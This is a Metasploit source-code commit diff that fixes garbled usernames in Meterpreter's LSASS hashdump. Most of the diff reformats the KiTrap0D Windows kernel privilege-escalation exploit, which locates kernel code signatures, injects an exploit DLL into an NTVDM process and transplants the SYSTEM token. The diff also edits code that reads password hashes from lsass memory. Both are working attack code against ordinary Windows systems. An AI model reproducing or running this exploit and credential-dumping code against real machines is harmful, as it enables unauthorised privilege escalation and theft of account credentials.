This fixes garbled characters in lsass hashdump on some platforms

git-svn-id: file:///home/svn/framework3/trunk@13582 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2011-08-19 05:09:49 +00:00
parent 660d7ccfc6
commit 521b95b0c2
4 changed files with 261 additions and 256 deletions

View File

@ -3,190 +3,190 @@
// Known Bugs:
// * Windows NT4 fails to map the NULL page, (exit code 'NTAV').
// * Windows 2000 fails to find the VDM_TIB size (something else is wrong)
// * Windows 2008 Storage Server has 16-bit applications disabled by default
// * Windows 2000 fails to find the VDM_TIB size (something else is wrong)
// * Windows 2008 Storage Server has 16-bit applications disabled by default
// * Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
#include "precomp.h"
#include "kitrap0d.h"
#include "../../../../ReflectiveDLLInjection/LoadLibraryR.h"
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
struct CodeSignature CodeSignatures[] = {
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
{ "", -1 }
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
struct CodeSignature CodeSignatures[] = {
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
{ "", -1 }
};
/*
* Scan the appropriate kernel image for the correct offset
*/
BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC NtQuerySystemInformation = NULL;
HMODULE hKernel = NULL;
HMODULE hNtdll = NULL;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS PeHeader = NULL;
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
PBYTE ImageBase = NULL;
HKEY MmHandle = NULL;
OSVERSIONINFO os = {0};
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
DWORD PhysicalAddressExtensions = 0;
DWORD DataSize = 0;
ULONG i = 0;
ULONG x = 0;
// List of versions we have code signatures for.
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
do
{
hNtdll = GetModuleHandle("ntdll");
if( !hNtdll )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );
// NtQuerySystemInformation can be used to find kernel base address
NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
if( !NtQuerySystemInformation )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );
// Determine kernel version so that the correct code signature is used
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_NT4;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2000;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_XP;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
Version = MICROSOFT_WINDOWS_2003;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_VISTA;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2008;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_7;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );
// Load the kernel image specified
hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
if( !hKernel )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );
// Parse image headers
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
ImageBase = (PBYTE)hKernel;
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
OptHeader = &PeHeader->OptionalHeader;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );
for( x=0 ; ; x++ )
{
if( CodeSignatures[x].Version == -1 )
break;
if( CodeSignatures[x].Version != Version )
continue;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );
// Scan for the appropriate signature...
for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
{
if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
{
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );
*OffsetFromBase = i;
FreeLibrary( hKernel );
return TRUE;
}
}
}
} while( 0 );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );
if( hKernel )
FreeLibrary( hKernel );
return FALSE;
* Scan the appropriate kernel image for the correct offset
*/
BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC NtQuerySystemInformation = NULL;
HMODULE hKernel = NULL;
HMODULE hNtdll = NULL;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS PeHeader = NULL;
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
PBYTE ImageBase = NULL;
HKEY MmHandle = NULL;
OSVERSIONINFO os = {0};
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
DWORD PhysicalAddressExtensions = 0;
DWORD DataSize = 0;
ULONG i = 0;
ULONG x = 0;
// List of versions we have code signatures for.
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
do
{
hNtdll = GetModuleHandle("ntdll");
if( !hNtdll )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );
// NtQuerySystemInformation can be used to find kernel base address
NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
if( !NtQuerySystemInformation )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );
// Determine kernel version so that the correct code signature is used
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_NT4;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2000;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_XP;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
Version = MICROSOFT_WINDOWS_2003;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_VISTA;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2008;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_7;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );
// Load the kernel image specified
hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
if( !hKernel )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );
// Parse image headers
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
ImageBase = (PBYTE)hKernel;
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
OptHeader = &PeHeader->OptionalHeader;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );
for( x=0 ; ; x++ )
{
if( CodeSignatures[x].Version == -1 )
break;
if( CodeSignatures[x].Version != Version )
continue;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );
// Scan for the appropriate signature...
for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
{
if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
{
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );
*OffsetFromBase = i;
FreeLibrary( hKernel );
return TRUE;
}
}
}
} while( 0 );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );
if( hKernel )
FreeLibrary( hKernel );
return FALSE;
}
/*
* Grab a useful Handle to NTVDM.
*/
BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess )
{
DWORD dwResult = ERROR_SUCCESS;
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = {0};
ULONG i = 0;
do
{
si.cb = sizeof( STARTUPINFO );
// Start the child process, which should invoke NTVDM...
if( !CreateProcess( cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed" );
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId );
// Get more access
*hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId );
if( *hProcess == NULL )
{
TerminateProcess( pi.hProcess, 'SPWN' );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed" );
}
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
} while( 0 );
if( dwResult == ERROR_SUCCESS )
return TRUE;
return FALSE;
* Grab a useful Handle to NTVDM.
*/
BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess )
{
DWORD dwResult = ERROR_SUCCESS;
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = {0};
ULONG i = 0;
do
{
si.cb = sizeof( STARTUPINFO );
// Start the child process, which should invoke NTVDM...
if( !CreateProcess( cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed" );
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId );
// Get more access
*hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId );
if( *hProcess == NULL )
{
TerminateProcess( pi.hProcess, 'SPWN' );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed" );
}
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
} while( 0 );
if( dwResult == ERROR_SUCCESS )
return TRUE;
return FALSE;
}
/*
@ -204,8 +204,8 @@ BOOL elevate_via_exploit_getpath( char * cpOutput, DWORD dwOutputLength )
do
{
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
while( TRUE )
{
@ -239,15 +239,15 @@ BOOL elevate_via_exploit_getpath( char * cpOutput, DWORD dwOutputLength )
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hVdm = NULL;
HANDLE hThread = NULL;
LPVOID lpServiceBuffer = NULL;
LPVOID lpRemoteCommandLine = NULL;
HANDLE hVdm = NULL;
HANDLE hThread = NULL;
LPVOID lpServiceBuffer = NULL;
LPVOID lpRemoteCommandLine = NULL;
char cWinDir[MAX_PATH] = {0};
char cVdmPath[MAX_PATH] = {0};
char cCommandLine[MAX_PATH] = {0};
DWORD dwExitCode = 0;
DWORD dwKernelBase = 0;
char cVdmPath[MAX_PATH] = {0};
char cCommandLine[MAX_PATH] = {0};
DWORD dwExitCode = 0;
DWORD dwKernelBase = 0;
DWORD dwOffset = 0;
DWORD dwServiceLength = 0;
@ -269,16 +269,16 @@ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
if( !elevate_via_exploit_getpath( (char *)&cVdmPath, MAX_PATH ) )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND );
// 2. Scan kernel image for the required code sequence, and find the base address...
if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
// 2. Scan kernel image for the required code sequence, and find the base address...
if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE );
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" );
if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );
if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
@ -298,59 +298,59 @@ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
if( !hThread )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" );
// 5. Wait for the thread to complete
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
WaitForSingleObject( hThread, INFINITE );
// pass some information back via the exit code to indicate what happened.
GetExitCodeThread( hThread, &dwExitCode );
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
switch( dwExitCode )
{
case 'VTIB':
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
// matches what the kernel expects.
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
case 'NTAV':
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
// expects to be present.
// The exploit thread reports it didn't work.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
case 'VDMC':
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
// it's failing.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
case 'LPID':
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
// unprivileged process owned by you.
// PsLookupProcessByProcessId() failed when trying to find your process.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
case FALSE:
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
default:
// Unknown error. Sorry, you're on your own.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
// 5. Wait for the thread to complete
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
WaitForSingleObject( hThread, INFINITE );
// pass some information back via the exit code to indicate what happened.
GetExitCodeThread( hThread, &dwExitCode );
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
switch( dwExitCode )
{
case 'VTIB':
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
// matches what the kernel expects.
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
case 'NTAV':
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
// expects to be present.
// The exploit thread reports it didn't work.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
case 'VDMC':
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
// it's failing.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
case 'LPID':
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
// unprivileged process owned by you.
// PsLookupProcessByProcessId() failed when trying to find your process.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
case FALSE:
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
default:
// Unknown error. Sorry, you're on your own.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
}
} while( 0 );
if( hVdm )
{
TerminateProcess( hVdm, 0 );
CloseHandle( hVdm );
}
if( hThread )
CloseHandle( hThread );
TerminateProcess( hVdm, 0 );
CloseHandle( hVdm );
}
if( hThread )
CloseHandle( hThread );
return dwResult;
}

View File

@ -236,6 +236,7 @@ int dumpSAM(FUNCTIONARGS *fargs) {
HANDLE hReadLock = NULL, hFreeLock = NULL;
DWORD dwUsernameLength = 0, dwCurrentUser = 0, dwStorageIndex = 0;
DWORD dwError = 0;
DWORD i;
/* load samsrv functions */
hSamSrv = fargs->LoadLibrary(fargs->samsrvdll);
@ -319,9 +320,12 @@ int dumpSAM(FUNCTIONARGS *fargs) {
if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0) { dwError = 1; goto cleanup; }
/* allocate space for another username */
dwUsernameLength = (pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Length / 2) + 1;
(fargs->pUsernameHashData)[dwStorageIndex].Username = (char *)pMalloc(dwUsernameLength);
dwUsernameLength = (pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Length / 2);
(fargs->pUsernameHashData)[dwStorageIndex].Username = (char *)pMalloc(dwUsernameLength + 1);
if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL) { dwError = 1; goto cleanup; }
for ( i=0; i < (dwUsernameLength + 1); i++ ) {
(fargs->pUsernameHashData)[dwStorageIndex].Username[i] = 0;
}
/* copy over the new name, length, rid and password hash */
pWcstombs((fargs->pUsernameHashData)[dwStorageIndex].Username, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Buffer, dwUsernameLength);
@ -493,14 +497,14 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
/* calculate the function size */
FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
if (FunctionSize <= 0) {
printf("Error calculating the function size.\n");
dprintf("Error calculating the function size.\n");
dwError = 1;
break;
}
/* set access priv */
if (SetAccessPriv() == 0) {
printf("Error setting SE_DEBUG_NAME privilege\n");
dprintf("Error setting SE_DEBUG_NAME privilege\n");
dwError = 1;
break;
}
@ -508,7 +512,7 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
/* get the lsass handle */
hLsassHandle = GetLsassHandle();
if (hLsassHandle == 0) {
printf("Error getting lsass.exe handle.\n");
dprintf("Error getting lsass.exe handle.\n");
dwError = 1;
break;
}
@ -539,7 +543,7 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
/* wait until the data is ready to be collected */
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
printf("Timed out waiting for the data to be collected.\n");
dprintf("Timed out waiting for the data to be collected.\n");
dwError = 1;
break;
}
@ -565,17 +569,18 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length);
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }
if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
UsernameHashResults[dwCurrentUserIndex].Username[ UsernameHashResults[dwCurrentUserIndex].Length ] = 0;
}
/* signal that all data has been read and wait for the remote memory to be free'd */
if (SetEvent(hFreeLock) == 0) { dwError = 1; break; }
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
printf("The timeout pooped.\n");
dprintf("The timeout hit.\n");
dwError = 1;
break;
}

View File

@ -23,19 +23,19 @@ VOID search_add_result( Packet * pResponse, char * cpDirectory, char * cpFileNam
do
{
entry[0].header.type = TLV_TYPE_FILE_PATH;
entry[0].header.length = (DWORD)( strlen(cpDirectory) + 1 );
entry[0].buffer = cpDirectory;
entry[1].header.type = TLV_TYPE_FILE_NAME;
entry[1].header.length = (DWORD)( strlen(cpFileName) + 1 );
entry[1].buffer = cpFileName;
dwSize = htonl( dwFileSize );
entry[2].header.type = TLV_TYPE_FILE_SIZE;
entry[2].header.length = sizeof(DWORD);
entry[2].buffer = (PUCHAR)&dwSize;
entry[0].header.type = TLV_TYPE_FILE_PATH;
entry[0].header.length = (DWORD)( strlen(cpDirectory) + 1 );
entry[0].buffer = cpDirectory;
entry[1].header.type = TLV_TYPE_FILE_NAME;
entry[1].header.length = (DWORD)( strlen(cpFileName) + 1 );
entry[1].buffer = cpFileName;
dwSize = htonl( dwFileSize );
entry[2].header.type = TLV_TYPE_FILE_SIZE;
entry[2].header.length = sizeof(DWORD);
entry[2].buffer = (PUCHAR)&dwSize;
packet_add_tlv_group( pResponse, TLV_TYPE_SEARCH_RESULTS, entry, 3 );
} while( 0 );

View File

@ -190,7 +190,7 @@ DWORD screenshot( int quality, DWORD dwPipeName )
SetThreadDesktop( hOrigDesktop );
// close the WinSta0 window station handle we opened
if( hWindowStation )
if( hWindowStation )
CloseWindowStation( hWindowStation );
// close this last to avoid a handle leak...